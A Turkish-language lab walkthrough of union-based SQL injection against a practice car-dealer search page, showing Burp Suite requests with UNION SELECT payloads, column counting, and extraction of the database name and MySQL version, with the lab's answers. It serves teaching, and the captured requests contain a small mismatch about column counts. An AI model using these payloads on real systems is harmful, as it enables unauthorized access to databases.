

SQL INJECTION

2.1 Union-Based SQL;

Bu SQL zafiyeti türümüz UNION tabanlı bir zafiyet, yazdığımız sorgu sonucunu ekrana bastırabiliyoruz ve asıl önemlisi sorgu birleştiriyoruz mesala, database adını ekrana yazdırabiliriz. Tam olarak bizden istenen de bu, web sayfasına bir göz atalım.

Araba Markasını Ara

Aramak

#	Marka	Modeli	Yıl
4	Ford	LTD Taç Victoria	1987
16	Ford	Füzyon	2011
17	Ford	F350	2010
22	Ford	Mustang	1979

Galiba bir Galerici'e ait olan bir web sayfası. Araba markaları arıyabiliyoruz % ile filtreleme kullanılmış. Bu şekilde veritabanından verileri getiriyor.

Burada biraz deneme yanılma yapıp veritabanı ismini tespit edeceğimiz için, ben **Burp Suite** kullanmayı tercih ediyorum.

Intercept'imi açık **search=** değişkenine yani arama alanına bir araba markası aratıyorum **Ford**. Ve isteği yakalıyorum. Ve Repeater alanına atıyorum.

Request

```
1 GET /?search=Ford HTTP/1.1
2 Host: together-black-queen.europel.hackviser.space
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101
  Firefox/121.0
4 Accept:
  text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/
  webp,*/*;q=0.8
5 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
6 Accept-Encoding: gzip, deflate, br
7 Referer: https://together-black-queen.europel.hackviser.space/
8 Upgrade-Insecure-Requests: 1
9 Sec-Fetch-Dest: document
10 Sec-Fetch-Mode: navigate
11 Sec-Fetch-Site: same-origin
12 Sec-Fetch-User: ?1
13 Te: trailers
14 Connection: keep-alive
15
```

Burada Ford bizim verdiğimiz string değeri. Denemeleri burada gerçekleştirecem sağ sekmede giden isteklerin cevaplarını görebileceğimiz bir alan var.

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1	GET	/?search=Ford'+UNION+SELECT+1,2,3,4--+	HTTP/1.1	1	HTTP/1.1 500 Internal Server Error		
2	Host:	together-black-queen.europol.hackviser.space		2	Server: nginx		
3	User-Agent:	Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101		3	Date: Fri, 11 Oct 2024 21:04:26 GMT		

Burada ki sorgu mantığımız ise **UNION** ile arkada dönen sorguyla bizim yazdığımız sorguyu, birleştiriyoruz.

Ve databasenin 3 adet **columnu** var dedim. Ancak **500 Internal Server** hatası aldık, demek ki 3 tane değil bunu 1 den başlayıp sayıyı 1+ arttırarak sonuca ulaşmaya çalışılır. Bakalım biz kaçınıcıda 200 durum kodu alıcaz. Ve sonda ki **-- yorum** satırına almak demek, bu veritabanı **sql** dilinden dolayı değişiklik gösterebiliyor. **-- 2 TANE** tek çizgiden sonra bir adet **--** tek çizgi var bu da güvenlik duvarından kaçmak içindir.

Request				Response			
Pretty	Raw	Hex		Pretty	Raw	Hex	Render
1	GET	/?search=Ford'+UNION+SELECT+1,2,3,4--+	HTTP/1.1	1	HTTP/1.1 200 OK		
2	Host:	together-black-queen.europol.hackviser.space		2	Server: nginx		

Evet 4 adet column varmış veritabanı'nın şimdi ise veritabanı'nın ismini öğrenmekte. Ama istersek sizlere response de ne gözüktüyor onu göstermek isterim.

```
      Ford
    </td>
    <td>
      Taurus
    </td>
    <td>
      2002
    </td>
  </tr>
  <tr>
    <th scope="row">
      1
    </th>
    <td>
      2
    </td>
    <td>
      3
    </td>
    <td>
      4
    </td>
  </tr>
```

Araba ilanının isimlerinin yazdığı kısımda bizim columlar sayı ismiyle belirlendi.

Aslında yaptığımız yöntem bir nevi yanlış, biz çünkü int değer ile bulmaya çalıştık, **NULL** ifadesiyle araştırmak daha doğru, çünkü colmn adı stringmi int mi bilmiyoruz veya 2 si bir arada mı?

Şimdi veritabanı adını öğreneelim ek olarak versiyon bilgisi de öğreneelim.

Bunları öğrenmek için sayıların yerine

veritabanı adı için : database()

versiyon için : version() | Cevabımızı öğreneelim ;

Versiyon bilgimiz : **8.0.35**

CEVAP: ecliptica_cars

CEVAP:
Versiyon

```
<td>
  2002
</td>
</tr>
<tr>
  <th scope="row">
    1
  </th>
  <td>
    ecliptica_cars
  </td>
  <td>
    8.0.35
  </td>
  <td>
    4
  </td>
</tr>
. . .
```

ecliptica_cars
bilgimiz’de 8.0.35